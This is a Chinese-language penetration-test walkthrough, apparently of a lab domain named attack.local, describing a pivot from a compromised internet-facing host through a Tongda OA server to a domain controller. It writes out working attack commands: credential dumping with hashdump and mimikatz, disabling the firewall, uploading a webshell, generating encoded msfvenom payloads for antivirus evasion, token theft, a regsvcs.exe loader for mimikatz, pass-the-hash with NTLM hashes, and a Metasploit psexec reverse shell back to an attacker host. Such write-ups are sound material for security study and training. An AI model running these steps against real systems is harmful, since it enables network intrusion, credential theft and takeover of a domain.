00x6-踏进内网

上面我们已经拿到了外网机器的adminstrstor的用户权限

对内网进行信息搜集

密码获取

hashdump
logonpasswords

上面我们已经知道这个目标机是开启了3389端口的、

连接3389

小插曲

如果连接Windows server 2016出现这个报错

解决

连接

成功

任务

清除痕迹、关闭安全狗、Windows Defeder在前面我们已经完全的关闭了

跨网段信息搜集

查看arp信息

arp -a

内网扫描

内网IP扫描

这里使用的是目标机1的隧道进行扫描的、不建议使用在本机代理使用nmap、太慢了
run arp_scanner -r 10.10.1.0/24

确定只有两个ip10.10.1.130与本机的10.10.1.131

端口扫描

proxychains4 sudo masscan -p 1-65535 10.10.1.130 --rate=500

访问80端口

通达OA

00x7-进入内网发现域控

拿下目标机2

上面我们发现的通达OA

直接使用工具

直接打通

上传冰蝎马

上传

连接

查看权限

查看进程

居然有360杀毒

查看进行列表

taslist

发现360杀毒、应该是由360全家桶的、但是一路上都没有对我们的webshell有查杀

查看网卡信息、端口信息

ipconfig /allnetstat -ano

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vMYkZ6G1-1643557231577)(C:/Users/joker/AppData/Roaming/Typora/typora-user-images/image-20220127220848487.png)]

这里445端口是开放的、如果可以利用的话、我们可以避免麻烦直接使用正向代理进行连接、这样就避免做二次代理的麻烦了。

ip

两张网卡、这次应该就是在域控了

关闭Windows防火墙

netsh advfirewall set allprofiles state off

尝试访问445端口

proxychains4 sudo nmap -sT -Pn 10.10.1.130 -p 445

制作正向连接代理

制作攻击载荷

使用msfvenom生成攻击载荷

msfvenom -p windows/meterpreter/bind_tcp LPORT=6065 -e x86/shikata_ga_nai -i 40 -f c -o payload_bind40.c

使用掩目制作

上传

并没有被查杀、难道360的版本是比较老的？

制作CS木马

那就在上传有一个cs的木马

无论怎么刷新都不会消失、尝试运行

设置监听并上线

MSF

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lhost 10.10.1.130     #正向连接的时候直接是设置目标机器的ip即可
set lport 6065

运行攻击载荷

上线

CS

设置监听器

执行木马

上线

我们使用CS不但上线了OA机器的system的会话、而且居然还能成功的将会话转入到ATTACK\Aadminiatrator的会话

00x8-发现并进攻域控

信息收集

密码收集

密码收集
hashdump
域控
creds_all

发现域控

密码破解

OA

密码暂时不管了

继续域控

查看域控管理员登录

我们能知道现在目标机器是在attack.local的域控中的

查看用户进程

拿到域控管理员

我们在OA主机发现是由域控的aministrator用户在线的

使用命令窃取进程

steal_token 3628

尝试建立administrator的用户shell

无法建立会话

尝试访问dc的c盘

dir \\dc\c$

无法访问

这样的administrator是没有意义的、我们暂时先取消刚刚窃取的administrato的shell

rev2self

CS建立shell

上面我们使用msf是无法创建shell窗口的、这里使用cs尝试

是可以建立shell的

尝试访问文件

可以放问attack域控的文件的

直接就拿到下了域控、没意思、这不是我们想要的、、、、、、、、

下面继续使用MSF进行攻击、因为又的时候CS的免杀攻击木马是不好做出来的、所以还是尽量的模仿真是的攻击环境比较好

访问域控信息

添加路由

在10.10.1.130的机器上在添加一条10.10.10.0/24的静态路由、以便我们访问域控的10.10.10.的机器

run autoroute -s 10.10.10.0/24
run autoroute -p

访问域控主机

 proxychains4 ping 10.10.10.165

主机扫描

端口扫描

proxychains4 sudo masscan -p 1-65535 10.10.10.165 --rate=500

或者使用nmap进行常用端口的探测扫描

proxychains nmap -sT -Pn 10.10.1.130 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984 ,6379,7001,7002,9200,9300,11211,27017,27018 ,50000,50070,50030,21,22,23,2601,3389 --open

3389端口是开放的

获取域用户的PID SID的NTML

这个获取是使用mimikatz工具的命令的、（只有域管理员才能拿到）

$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte将生成的key文件“key.snk”复制到：C:\Windows\Microsoft.NET\Framework\v4.0.30319 然后将下载的“katz.cs”也复制到：C:\Windows\Microsoft.NET\Framework\v4.0.30319运行csc.exe执行命令
csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk /unsafe katz.cs然后就会输出文件“regsvcs.dll”建议是在windows server 2012这样的老机器上运行的一般win10运行会出错
如果运行的时候错误说缺少“System.IO.Compression.dll”文件、我们只需要去下载即可运行regsvcs.dllregsvcs.exe regsvcs.dll     #即可

将生成的dll文件上传至10.10.1.130的机器上

执行

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
x64C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe regsvcs.dll    #用这个就行
[OR]C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dllC:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U regsvcs.dll执行完毕后就会在本此shell会话中生成mimikatz的会话

结果

执行命令进行pth

sekurlsa::pth /user:administrator /domain:attack.local /ntlm:c7078b8300f0eacbffe68981cc733ee4 /run:"cmd -w hidden"

这里是没有成功的、pth并没有完整的执行的、只有这样才是正确执行的

我们也可以尝试迁移进程

在MSF环境下使用windows/smb/psexec

条件：

①开启445端口SMB服务（默认开启）

②开启admin$共享

设置监听

use exploit/windows/smb/psexec
set RHOSTS 10.10.10.165
set payload windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.130
set SMBUSER Administrator
set SMBPASS d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1
set SMBDomain attack.local
exploit

结果

写在最后
